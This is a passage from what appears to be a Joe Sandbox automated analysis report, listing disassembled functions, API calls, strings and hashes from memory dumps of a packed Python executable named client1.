Associated: 00000002.00000002.2695456347.00007FFBAB4A4000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695478650.00007FFBAB4AA000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695501720.00007FFBAB4AE000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbab490000_client1.jbxd

Similarity

API ID: Err_String
String ID: 'TooManySymbolOrPunctuationPlugin' object attribute '_symbol_count' cannot be deleted$attribute '_symbol_count' of 'TooManySymbolOrPunctuationPlugin' undefined$int
API String ID: 1450464846-2291034628
Opcode ID: c2e24b558124de55cf48d8667fda7d02b9c15b91cbe80d004c2bd506434f8363
Instruction ID: 2fbe81789120fa4d5da842fb530dd6f7e0230641bb1fd46c671a5442f2f25755
Opcode Fuzzy Hash: c2e24b558124de55cf48d8667fda7d02b9c15b91cbe80d004c2bd506434f8363
Instruction Fuzzy Hash: 79318FA5F1A50292EE66DB36E4952BD2360EF88B94F488231DE7D077F5DE2CE4948340

Function 00007FFBAB496C20 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 95COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON311 ref: 00007FFBAB496C42

Strings

'SuperWeirdWordPlugin' object attribute '_bad_word_count' cannot be deleted, xrefs: 00007FFBAB496CAC
int, xrefs: 00007FFBAB496D30
attribute '_bad_word_count' of 'SuperWeirdWordPlugin' undefined, xrefs: 00007FFBAB496C38

Memory Dump Source

Source File: 00000002.00000002.2695432092.00007FFBAB491000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FFBAB490000, based on PE: true

Associated: 00000002.00000002.2695413787.00007FFBAB490000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695456347.00007FFBAB4A4000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695478650.00007FFBAB4AA000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695501720.00007FFBAB4AE000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbab490000_client1.jbxd

Similarity

API ID: Err_String
String ID: 'SuperWeirdWordPlugin' object attribute '_bad_word_count' cannot be deleted$attribute '_bad_word_count' of 'SuperWeirdWordPlugin' undefined$int
API String ID: 1450464846-3520798986
Opcode ID: 60bbb626cce52f488fbb40c6ab4ac6f5130ec404c89593ac7919945a130b0fce
Instruction ID: 37ccde9d49ca16a9ccf4750ada72c057827add13fe31c6a0259c5f062b3bba3f
Opcode Fuzzy Hash: 60bbb626cce52f488fbb40c6ab4ac6f5130ec404c89593ac7919945a130b0fce
Instruction Fuzzy Hash: 4D315CA1B1A50282EF56DB36E4D52BD2360EF88B94F588235EE7E067B5DE2CD4948300

Function 00007FFBAB496D50 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 95COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON311 ref: 00007FFBAB496D72

Strings

int, xrefs: 00007FFBAB496E60
'SuperWeirdWordPlugin' object attribute '_foreign_long_count' cannot be deleted, xrefs: 00007FFBAB496DDC
attribute '_foreign_long_count' of 'SuperWeirdWordPlugin' undefined, xrefs: 00007FFBAB496D68

Memory Dump Source

Source File: 00000002.00000002.2695432092.00007FFBAB491000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FFBAB490000, based on PE: true

Associated: 00000002.00000002.2695413787.00007FFBAB490000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695456347.00007FFBAB4A4000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695478650.00007FFBAB4AA000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695501720.00007FFBAB4AE000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbab490000_client1.jbxd

Similarity

API ID: Err_String
String ID: 'SuperWeirdWordPlugin' object attribute '_foreign_long_count' cannot be deleted$attribute '_foreign_long_count' of 'SuperWeirdWordPlugin' undefined$int
API String ID: 1450464846-3135691889
Opcode ID: 7d54ae8d25dbb77536147f2b5954e326a1cde14a89e02d91d4bda525f7568c68
Instruction ID: 0b5cde92503088ed5251b5e6869c8d30d381f6069165cb942e77f9cf8e1521a9
Opcode Fuzzy Hash: 7d54ae8d25dbb77536147f2b5954e326a1cde14a89e02d91d4bda525f7568c68
Instruction Fuzzy Hash: 723160A1B1A50291FF56DB3AE4952BD2360EF84BA4F588235DE7D067B5DE2CD8948300

Function 00007FFBAB498040 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 95COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON311 ref: 00007FFBAB498062

Strings

int, xrefs: 00007FFBAB498150
'ArchaicUpperLowerPlugin' object attribute '_character_count' cannot be deleted, xrefs: 00007FFBAB4980CC
attribute '_character_count' of 'ArchaicUpperLowerPlugin' undefined, xrefs: 00007FFBAB498058

Memory Dump Source

Source File: 00000002.00000002.2695432092.00007FFBAB491000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FFBAB490000, based on PE: true

Associated: 00000002.00000002.2695413787.00007FFBAB490000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695456347.00007FFBAB4A4000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695478650.00007FFBAB4AA000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695501720.00007FFBAB4AE000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbab490000_client1.jbxd

Similarity

API ID: Err_String
String ID: 'ArchaicUpperLowerPlugin' object attribute '_character_count' cannot be deleted$attribute '_character_count' of 'ArchaicUpperLowerPlugin' undefined$int
API String ID: 1450464846-4184598959
Opcode ID: 95b42a7a6c77e1ee42d9360d44cd47314993f2cb00c775376b8053bca88cdcdc
Instruction ID: 185283242f1a0a1f4dd4a85779473d74aa0c06afb67a7d1f4fbc2a74f0ff5654
Opcode Fuzzy Hash: 95b42a7a6c77e1ee42d9360d44cd47314993f2cb00c775376b8053bca88cdcdc
Instruction Fuzzy Hash: BC316EA1B1A60281EE46DB3AE4D52BD2790EF84BD4F589135DE7E067B5DE2CE885C300

Function 00007FFBAB49CFF0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 91COMMON

Download Yara Rule

APIs

PySet_Contains.PYTHON311 ref: 00007FFBAB49D00C
PyObject_Vectorcall.PYTHON311 ref: 00007FFBAB49D058
_Py_Dealloc.PYTHON311 ref: 00007FFBAB49D06A
_Py_Dealloc.PYTHON311 ref: 00007FFBAB49D0AA

Part of subcall function 00007FFBAB4928A0: PyLong_FromSsize_t.PYTHON311 ref: 00007FFBAB4928E1
Part of subcall function 00007FFBAB4928A0: PyNumber_Add.PYTHON311 ref: 00007FFBAB49292B
Part of subcall function 00007FFBAB4928A0: _Py_Dealloc.PYTHON311 ref: 00007FFBAB492942
Part of subcall function 00007FFBAB4928A0: _Py_Dealloc.PYTHON311 ref: 00007FFBAB492951

Part of subcall function 00007FFBAB4928A0: PyLong_FromSsize_t.PYTHON311 ref: 00007FFBAB492913
Part of subcall function 00007FFBAB4928A0: _Py_Dealloc.PYTHON311 ref: 00007FFBAB49298E

Strings

feed, xrefs: 00007FFBAB49D0C3
bool, xrefs: 00007FFBAB49D085

Memory Dump Source

Source File: 00000002.00000002.2695432092.00007FFBAB491000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FFBAB490000, based on PE: true

Associated: 00000002.00000002.2695413787.00007FFBAB490000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695456347.00007FFBAB4A4000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695478650.00007FFBAB4AA000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695501720.00007FFBAB4AE000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbab490000_client1.jbxd

Similarity

API ID: Dealloc$FromLong_Ssize_t$ContainsNumber_Object_Set_Vectorcall
String ID: bool$feed
API String ID: 3415927029-2849697477
Opcode ID: 75989d3a8ab21030ecd09d936046dd064d493ce40fe554d82fa1436c5afcabda
Instruction ID: c90eb331598d3a54dd68efdce0ac8892764b180d57ce7d57643d4079ba96a0e3
Opcode Fuzzy Hash: 75989d3a8ab21030ecd09d936046dd064d493ce40fe554d82fa1436c5afcabda
Instruction Fuzzy Hash: EB3162B1A1BE0282FA629B36E49117E6760FF44BC4F488035DE6D07776DE2DE4918740

Function 00007FF79F62CEE8 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,?,00007FF79F62D19A,?,?,?,00007FF79F62CE8C,?,?,00000001,00007FF79F62CAA9), ref: 00007FF79F62CF6D
GetLastError.KERNEL32(?,?,?,00007FF79F62D19A,?,?,?,00007FF79F62CE8C,?,?,00000001,00007FF79F62CAA9), ref: 00007FF79F62CF7B
LoadLibraryExW.KERNEL32(?,?,?,00007FF79F62D19A,?,?,?,00007FF79F62CE8C,?,?,00000001,00007FF79F62CAA9), ref: 00007FF79F62CFA5
FreeLibrary.KERNEL32(?,?,?,00007FF79F62D19A,?,?,?,00007FF79F62CE8C,?,?,00000001,00007FF79F62CAA9), ref: 00007FF79F62CFEB
GetProcAddress.KERNEL32(?,?,?,00007FF79F62D19A,?,?,?,00007FF79F62CE8C,?,?,00000001,00007FF79F62CAA9), ref: 00007FF79F62CFF7

Strings

api-ms-, xrefs: 00007FF79F62CF8D

Memory Dump Source

Source File: 00000002.00000002.2693036603.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000002.00000002.2693018203.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693061814.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F660000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693132419.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff79f620000_client1.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 46f8882ba5516ded8d0f67aa9085a497a0d646e74245b223b6bb25c85e55adca
Instruction ID: d7c5080cdd8f26468dbd7bdde6db1f1dbefc9b6bdc914f9bdde3b44db8140bda
Opcode Fuzzy Hash: 46f8882ba5516ded8d0f67aa9085a497a0d646e74245b223b6bb25c85e55adca
Instruction Fuzzy Hash: E131A121A1A78291FE71BF22AC005F5A2AAFF08BB4F994535DD2D87390DF3CE5458721

Function 00007FF79F626480 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 88COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF79F627A30: MultiByteToWideChar.KERNEL32 ref: 00007FF79F627A6A

ExpandEnvironmentStringsW.KERNEL32(00000000,00007FF79F6267CF,?,00000000,?,TokenIntegrityLevel), ref: 00007FF79F6264DF

Part of subcall function 00007FF79F622770: MessageBoxW.USER32 ref: 00007FF79F622841

Strings

LOADER: Failed to convert runtime-tmpdir to a wide string., xrefs: 00007FF79F6264B6
LOADER: Failed to expand environment variables in the runtime-tmpdir., xrefs: 00007FF79F6264F3
LOADER: Failed to obtain the absolute path of the runtime-tmpdir., xrefs: 00007FF79F62653A

Memory Dump Source

Source File: 00000002.00000002.2693036603.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000002.00000002.2693018203.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693061814.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F660000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693132419.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff79f620000_client1.jbxd

Similarity

API ID: ByteCharEnvironmentExpandMessageMultiStringsWide
String ID: LOADER: Failed to convert runtime-tmpdir to a wide string.$LOADER: Failed to expand environment variables in the runtime-tmpdir.$LOADER: Failed to obtain the absolute path of the runtime-tmpdir.
API String ID: 1662231829-3498232454
Opcode ID: 2dc19ef5ba30c1755b370eb24f27a07330b7d4ecbeaa7c6206d14ea3a4c7ebc1
Instruction ID: 10210cae02a5da7580aa32472d1a66e78c26cbe670e770a5c560e5b427f1dcde
Opcode Fuzzy Hash: 2dc19ef5ba30c1755b370eb24f27a07330b7d4ecbeaa7c6206d14ea3a4c7ebc1
Instruction Fuzzy Hash: 9E315E11B187C240FA30BB31E9552FAD25AAF98784FC40431DA6E96BDAEE2DE5048721

Function 00007FF79F627A30 Relevance: 10.6, APIs: 2, Strings: 5, Instructions: 68COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32 ref: 00007FF79F627A6A

Part of subcall function 00007FF79F622620: GetLastError.KERNEL32(00000000,00000000,00000000,00007FF79F627744,?,?,?,?,?,?,?,?,?,?,?,00007FF79F62101D), ref: 00007FF79F622654
Part of subcall function 00007FF79F622620: MessageBoxW.USER32 ref: 00007FF79F62272C

MultiByteToWideChar.KERNEL32 ref: 00007FF79F627AF0

Strings

Out of memory., xrefs: 00007FF79F627AB2
win32_utils_from_utf8, xrefs: 00007FF79F627AB9
Failed to decode wchar_t from UTF-8, xrefs: 00007FF79F627AFA
Failed to get wchar_t buffer size., xrefs: 00007FF79F627A77
MultiByteToWideChar, xrefs: 00007FF79F627A7E, 00007FF79F627B01

Memory Dump Source

Source File: 00000002.00000002.2693036603.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000002.00000002.2693018203.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693061814.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F660000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693132419.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff79f620000_client1.jbxd

Similarity

API ID: ByteCharMultiWide$ErrorLastMessage
String ID: Failed to decode wchar_t from UTF-8$Failed to get wchar_t buffer size.$MultiByteToWideChar$Out of memory.$win32_utils_from_utf8
API String ID: 3723044601-876015163
Opcode ID: a067ef3949ab1c43b8cad70a8c207a907739284b21da8d2c9820fdf83144c31f
Instruction ID: 9f2e00563ab7892172867902b63dd349e0876b4b8af7bc4b5835a1d096cd09be
Opcode Fuzzy Hash: a067ef3949ab1c43b8cad70a8c207a907739284b21da8d2c9820fdf83144c31f
Instruction Fuzzy Hash: 77214422B08B8281EB60FB35F8400E9E366FF85794F944531DB6C93BA9EF2DD5418710

Function 00007FFBAB4A0E45 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

_Py_Dealloc.PYTHON311 ref: 00007FFBAB4A0E48

Part of subcall function 00007FFBAB494540: PyObject_GetAttr.PYTHON311 ref: 00007FFBAB494566
Part of subcall function 00007FFBAB494540: PyUnicode_FromFormat.PYTHON311 ref: 00007FFBAB494585
Part of subcall function 00007FFBAB494540: PyObject_GetItem.PYTHON311 ref: 00007FFBAB494599
Part of subcall function 00007FFBAB494540: _Py_Dealloc.PYTHON311 ref: 00007FFBAB4945AB
Part of subcall function 00007FFBAB494540: PyErr_Clear.PYTHON311 ref: 00007FFBAB4945B6
Part of subcall function 00007FFBAB494540: PyModule_GetFilenameObject.PYTHON311 ref: 00007FFBAB4945BF
Part of subcall function 00007FFBAB494540: PyUnicode_FromFormat.PYTHON311 ref: 00007FFBAB4945D8
Part of subcall function 00007FFBAB494540: PyErr_SetImportError.PYTHON311 ref: 00007FFBAB4945EA
Part of subcall function 00007FFBAB494540: _Py_Dealloc.PYTHON311 ref: 00007FFBAB4945F9
Part of subcall function 00007FFBAB494540: _Py_Dealloc.PYTHON311 ref: 00007FFBAB494608

PyDict_SetItem.PYTHON311 ref: 00007FFBAB4A0E99
_Py_Dealloc.PYTHON311 ref: 00007FFBAB4A0EB2
PyDict_SetItem.PYTHON311 ref: 00007FFBAB4A0EF4
_Py_Dealloc.PYTHON311 ref: 00007FFBAB4A0F0D

Strings

<module>, xrefs: 00007FFBAB4A0F1E

Memory Dump Source

Source File: 00000002.00000002.2695432092.00007FFBAB491000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FFBAB490000, based on PE: true

Associated: 00000002.00000002.2695413787.00007FFBAB490000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695456347.00007FFBAB4A4000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695478650.00007FFBAB4AA000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695501720.00007FFBAB4AE000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbab490000_client1.jbxd

Similarity

API ID: Dealloc$Item$Dict_Err_FormatFromObject_Unicode_$AttrClearErrorFilenameImportModule_Object
String ID: <module>
API String ID: 2466898028-217463007
Opcode ID: 6b8acac036cbf7e295481d1c2732eb526df169ef99cb2573ea467a0dbd242c8b
Instruction ID: 5cee9c463810e5ef46d1b4f8326721a4aba3c8d2ce0824f9d82c84c4c67b59f1
Opcode Fuzzy Hash: 6b8acac036cbf7e295481d1c2732eb526df169ef99cb2573ea467a0dbd242c8b
Instruction Fuzzy Hash: CE2157E1A0BA1681FA169B77E8902792BA0AF14BC4F44C13DDE2D077B0EF2CA4918340

Function 00007FF79F63A620 Relevance: 10.6, APIs: 7, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00007FF79F642433,?,?,?,00007FF79F63CB8C,?,?,00000000,00007FF79F633A5F,?,?,?,00007FF79F639313), ref: 00007FF79F63A62F
FlsGetValue.KERNEL32(?,?,?,00007FF79F642433,?,?,?,00007FF79F63CB8C,?,?,00000000,00007FF79F633A5F,?,?,?,00007FF79F639313), ref: 00007FF79F63A644
FlsSetValue.KERNEL32(?,?,?,00007FF79F642433,?,?,?,00007FF79F63CB8C,?,?,00000000,00007FF79F633A5F,?,?,?,00007FF79F639313), ref: 00007FF79F63A665
FlsSetValue.KERNEL32(?,?,?,00007FF79F642433,?,?,?,00007FF79F63CB8C,?,?,00000000,00007FF79F633A5F,?,?,?,00007FF79F639313), ref: 00007FF79F63A692
FlsSetValue.KERNEL32(?,?,?,00007FF79F642433,?,?,?,00007FF79F63CB8C,?,?,00000000,00007FF79F633A5F,?,?,?,00007FF79F639313), ref: 00007FF79F63A6A3
FlsSetValue.KERNEL32(?,?,?,00007FF79F642433,?,?,?,00007FF79F63CB8C,?,?,00000000,00007FF79F633A5F,?,?,?,00007FF79F639313), ref: 00007FF79F63A6B4
SetLastError.KERNEL32(?,?,?,00007FF79F642433,?,?,?,00007FF79F63CB8C,?,?,00000000,00007FF79F633A5F,?,?,?,00007FF79F639313), ref: 00007FF79F63A6CF

Memory Dump Source

Source File: 00000002.00000002.2693036603.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000002.00000002.2693018203.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693061814.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F660000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693132419.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff79f620000_client1.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 6b14f4b34ada3312421ba959f39f9715d9be68c8868fa5de67aefdf45a5e0ce4
Instruction ID: 7d43b17c794f12c4ac64cc17aac40b9b2e6bd3271b368f03124712aa789b55af
Opcode Fuzzy Hash: 6b14f4b34ada3312421ba959f39f9715d9be68c8868fa5de67aefdf45a5e0ce4
Instruction Fuzzy Hash: 8E213824E0C7D242FA78B73156511FAE24B5F56BB0F840734E83E07AD6DEADB400A630

Function 00007FFBAA707F30 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 59COMMON

Download Yara Rule

APIs

PyArg_ParseTupleAndKeywords.PYTHON311 ref: 00007FFBAA707F69
PyMem_Free.PYTHON311 ref: 00007FFBAA707FC6
PyErr_SetString.PYTHON311 ref: 00007FFBAA708000
PyErr_NoMemory.PYTHON311 ref: 00007FFBAA70800A
_Py_Dealloc.PYTHON311 ref: 00007FFBAA7157C9

Strings

optional argument must be a context, xrefs: 00007FFBAA707FF6

Memory Dump Source

Source File: 00000002.00000002.2693167366.00007FFBAA6F1000.00000020.00000001.01000000.00000016.sdmp, Offset: 00007FFBAA6F0000, based on PE: true

Associated: 00000002.00000002.2693151925.00007FFBAA6F0000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693193696.00007FFBAA719000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693211520.00007FFBAA727000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693226656.00007FFBAA728000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693243662.00007FFBAA729000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693259098.00007FFBAA72A000.00000002.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbaa6f0000_client1.jbxd

Similarity

API ID: Err_$Arg_DeallocFreeKeywordsMem_MemoryParseStringTuple
String ID: optional argument must be a context
API String ID: 955997460-3732962867
Opcode ID: 7476e3eac392aa3e17da684dcdc0e466eacd9f7d3d7383a05109996a5e4262bf
Instruction ID: 6dc461ae8a81eb74eb1cd8f7960e357c4f687b4e97e544687930f8f6bc071d8f
Opcode Fuzzy Hash: 7476e3eac392aa3e17da684dcdc0e466eacd9f7d3d7383a05109996a5e4262bf
Instruction Fuzzy Hash: BC213DA1A1AB03D1EA129F35E8500BB67A9FF84B80F4000B2DD5D577A4EE2DF45BC760

Function 00007FFBAB4A0BC7 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

_Py_Dealloc.PYTHON311 ref: 00007FFBAB4A0BCA

Part of subcall function 00007FFBAB494540: PyObject_GetAttr.PYTHON311 ref: 00007FFBAB494566
Part of subcall function 00007FFBAB494540: PyUnicode_FromFormat.PYTHON311 ref: 00007FFBAB494585
Part of subcall function 00007FFBAB494540: PyObject_GetItem.PYTHON311 ref: 00007FFBAB494599
Part of subcall function 00007FFBAB494540: _Py_Dealloc.PYTHON311 ref: 00007FFBAB4945AB
Part of subcall function 00007FFBAB494540: PyErr_Clear.PYTHON311 ref: 00007FFBAB4945B6
Part of subcall function 00007FFBAB494540: PyModule_GetFilenameObject.PYTHON311 ref: 00007FFBAB4945BF
Part of subcall function 00007FFBAB494540: PyUnicode_FromFormat.PYTHON311 ref: 00007FFBAB4945D8
Part of subcall function 00007FFBAB494540: PyErr_SetImportError.PYTHON311 ref: 00007FFBAB4945EA
Part of subcall function 00007FFBAB494540: _Py_Dealloc.PYTHON311 ref: 00007FFBAB4945F9
Part of subcall function 00007FFBAB494540: _Py_Dealloc.PYTHON311 ref: 00007FFBAB494608

_Py_Dealloc.PYTHON311 ref: 00007FFBAB4A0C01
PyDict_SetItem.PYTHON311 ref: 00007FFBAB4A0C26
_Py_Dealloc.PYTHON311 ref: 00007FFBAB4A0C3F
PyList_New.PYTHON311 ref: 00007FFBAB4A0C67

Strings

<module>, xrefs: 00007FFBAB4A2826

Memory Dump Source

Source File: 00000002.00000002.2695432092.00007FFBAB491000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FFBAB490000, based on PE: true

Associated: 00000002.00000002.2695413787.00007FFBAB490000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695456347.00007FFBAB4A4000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695478650.00007FFBAB4AA000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695501720.00007FFBAB4AE000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbab490000_client1.jbxd

Similarity

API ID: Dealloc$Err_FormatFromItemObject_Unicode_$AttrClearDict_ErrorFilenameImportList_Module_Object
String ID: <module>
API String ID: 705353228-217463007
Opcode ID: 4e5f990220d73f4e6b8073e872d95d55646c66385a8aa30aefa6814886ffe265
Instruction ID: b91506569afd215d6a3be0ca44e2c87c27df3794c86daccdb6b433fb163c7f5b
Opcode Fuzzy Hash: 4e5f990220d73f4e6b8073e872d95d55646c66385a8aa30aefa6814886ffe265
Instruction Fuzzy Hash: 76211DE5A0BA1280FA279F77E99427867A5AF14BD4F08C13ECD3D077B4DE2CA4958301

Function 00007FFBAB4A0AE3 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 53COMMON

Download Yara Rule

APIs

_Py_Dealloc.PYTHON311 ref: 00007FFBAB4A0AE6

Part of subcall function 00007FFBAB494540: PyObject_GetAttr.PYTHON311 ref: 00007FFBAB494566
Part of subcall function 00007FFBAB494540: PyUnicode_FromFormat.PYTHON311 ref: 00007FFBAB494585
Part of subcall function 00007FFBAB494540: PyObject_GetItem.PYTHON311 ref: 00007FFBAB494599
Part of subcall function 00007FFBAB494540: _Py_Dealloc.PYTHON311 ref: 00007FFBAB4945AB
Part of subcall function 00007FFBAB494540: PyErr_Clear.PYTHON311 ref: 00007FFBAB4945B6
Part of subcall function 00007FFBAB494540: PyModule_GetFilenameObject.PYTHON311 ref: 00007FFBAB4945BF
Part of subcall function 00007FFBAB494540: PyUnicode_FromFormat.PYTHON311 ref: 00007FFBAB4945D8
Part of subcall function 00007FFBAB494540: PyErr_SetImportError.PYTHON311 ref: 00007FFBAB4945EA
Part of subcall function 00007FFBAB494540: _Py_Dealloc.PYTHON311 ref: 00007FFBAB4945F9
Part of subcall function 00007FFBAB494540: _Py_Dealloc.PYTHON311 ref: 00007FFBAB494608

_Py_Dealloc.PYTHON311 ref: 00007FFBAB4A0B1D
PyDict_SetItem.PYTHON311 ref: 00007FFBAB4A0B46
_Py_Dealloc.PYTHON311 ref: 00007FFBAB4A0B5F
PyList_New.PYTHON311 ref: 00007FFBAB4A0B80

Strings

<module>, xrefs: 00007FFBAB4A2826

Memory Dump Source

Source File: 00000002.00000002.2695432092.00007FFBAB491000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FFBAB490000, based on PE: true

Associated: 00000002.00000002.2695413787.00007FFBAB490000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695456347.00007FFBAB4A4000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695478650.00007FFBAB4AA000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695501720.00007FFBAB4AE000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbab490000_client1.jbxd

Similarity

API ID: Dealloc$Err_FormatFromItemObject_Unicode_$AttrClearDict_ErrorFilenameImportList_Module_Object
String ID: <module>
API String ID: 705353228-217463007
Opcode ID: 879e76747261c4a6ae7e890e62059d6275078ca7420713bb20aac4bf1ddc663c
Instruction ID: aa984bd2d180805f7e3ef5466b819f273b61855efce99710dd6c8545d8710b5d
Opcode Fuzzy Hash: 879e76747261c4a6ae7e890e62059d6275078ca7420713bb20aac4bf1ddc663c
Instruction Fuzzy Hash: 7121EAE6E0BA0281EA178F77E99427967A1AF14BD9F08C13DCD2D077B0DE2CA4958301

Function 00007FFBAA734B40 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 52COMMON

Download Yara Rule

APIs

_PyArg_CheckPositional.PYTHON311 ref: 00007FFBAA734B7B
_PyArg_BadArgument.PYTHON311 ref: 00007FFBAA734BB0
_PyUnicode_Ready.PYTHON311 ref: 00007FFBAA734BC1

